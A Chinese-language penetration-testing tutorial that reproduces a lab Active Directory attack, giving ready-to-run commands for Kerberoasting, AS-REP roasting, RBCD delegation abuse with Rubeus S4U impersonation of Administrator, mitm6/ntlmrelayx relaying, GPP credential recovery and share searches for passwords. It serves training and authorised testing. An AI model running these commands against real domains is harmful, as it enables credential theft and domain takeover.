一篇域攻击文章的复现
字数 1758 2025-08-26 22:11:14
域渗透攻击技术详解与复现指南
1. 信息收集与BloodHound工具使用
1.1 BloodHound安装与配置
BloodHound是一款强大的Active Directory(AD)域环境分析工具,能够可视化域内的信任关系和攻击路径。
安装步骤:
- Mac下直接安装BloodHound应用
- 安装Python数据收集器:
git clone https://github.com/fox-it/BloodHound.py
cd BloodHound.py
pip install -r requirements.txt
常见问题解决:
- 遇到
ImportError: No module named cstruct错误时,更新pip到最新版本:
pip install --upgrade pip
使用方法:
python bloodhound.py -d pentestlab.com -u flowing -p xxx -gc win7.pentestlab.com -c all -v --dns-tcp
参数说明:
-d: 指定域名-u: 用户名-p: 密码-gc: 全局目录服务器-c: 收集的数据类型(all表示全部)--dns-tcp: 强制使用TCP进行DNS查询
1.2 GoFetchAD工具
GoFetchAD是配合BloodHound使用的自动化攻击工具,可根据BloodHound生成的JSON数据自动执行攻击计划。
安装:
git clone https://github.com/GoFetchAD/GoFetch
2. Kerberos相关攻击技术
2.1 Kerberoasting攻击
原理:
当域内配置了服务主体名称(SPN)的服务账户时,用户访问这些服务会收到由该账户NTLM hash签名的Kerberos票据(TGS)。攻击者可获取这些票据并离线破解。
工具:GetUserSPNs.py
proxychains4 python GetUserSPNs.py -request -dc-ip 10.0.0.2 pentestlab.com/flowing
破解票据:
hashcat -m 13100 -a 0 kerberos.txt cracks.txt
参数说明:
-m 13100: Kerberos 5 TGS-REP etype 23破解模式-a 0: 字典攻击模式
2.2 AS-REP Roasting攻击
前提条件:
目标账户关闭了Kerberos预身份认证
工具:Rubeus
- 编译Rubeus(需要VS2017环境)
- 执行攻击:
Rubeus.exe asreproast
3. 委派攻击技术
3.1 无约束委派攻击
原理:
当计算机配置了msDS-AllowedToActOnBehalfOfOtherIdentity属性时,攻击者可利用Kerberos模拟登录域内任何计算机。
3.2 基于资源的约束委派(RBCD)攻击
前提条件:
- 目标域控制器为Windows Server 2012或更高版本
- 攻击者拥有创建机器账户的权限(默认域用户可创建最多10个机器账户)
攻击步骤:
- 设置PowerShell执行策略:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
-
导入PowerView.ps1和Powermad.ps1
-
创建新的机器账户:
New-MachineAccount -MachineAccount hackerwing -Password $(ConvertTo-SecureString 'wing2019' -AsPlainText -Force)
- 获取新机器账户的SID并修改目标计算机属性:
$ComputerSid = Get-DomainComputer hackerwing -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
- 使用Rubeus生成NT hash:
Rubeus.exe hash /user:hackerwing /password:wing2019 /domain:pentestlab.com
- 执行S4U(服务用户)模拟攻击:
Rubeus.exe s4u /user:hackerwing$ /rc4:6D1BF3B1E6C721EA14C13A007E656FAA /impersonateuser:Administrator /msdsspn:cifs/pentestLab-DC.pentestlab.com /ptt
4. 其他攻击技术
4.1 mitm6 + ntlmrelayx攻击
原理:
mitm6通过响应DHCPv6请求充当DNS服务器,捕获NTLM challenge/response数据,配合ntlmrelayx进行中继攻击。
实施步骤:
- 启动mitm6:
mitm6 -i en0 -d pentestlab.com
- 启动ntlmrelayx:
python ntlmrelayx.py -t ldaps://pentestlab-Dc.pentestlab.com -wh 192.168.123.54 --delegate-access
4.2 SILENTTRINITY后渗透框架
特点:
- 使用IronPython和C#开发
- 需要.NET 4.5环境
- 通过恶意XML文件执行攻击
使用方法:
- 创建共享目录存放恶意XML文件
- 使用CrackMapExec执行:
cme exec -x "path_to_xml"
4.3 MS14-025 (GPP漏洞)
利用方法:
检查SYSVOL目录中的Groups.xml文件,其中可能包含加密的凭据,可使用已知密钥解密。
Metasploit模块:
use exploit/windows/smb/ms14_025_gpp
5. 权限提升与横向移动
5.1 CrackMapExec使用
cme smb 192.168.123.0/24 -u flowing -p Admin@1234 --shares
用于查找具有高权限的共享目录。
5.2 PowerView文件搜索
搜索包含敏感信息的文件:
Invoke-FileFinder -Threads 100 -Verbose -Terms password
或新版本:
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential
5.3 PowerUp安全检查
检查所有不安全的配置项:
Invoke-AllChecks
获取可利用系统列表:
Get-ExploitableSystem
6. 自动化报告工具
ADAPE (Active Directory Assessment and Privilege Escalation)
运行后会在当前目录生成详细的安全评估报告。
7. 参考资源
注意: 本文档仅供安全研究和授权测试使用,未经授权对他人系统进行渗透测试是违法行为。请确保在合法授权范围内使用这些技术。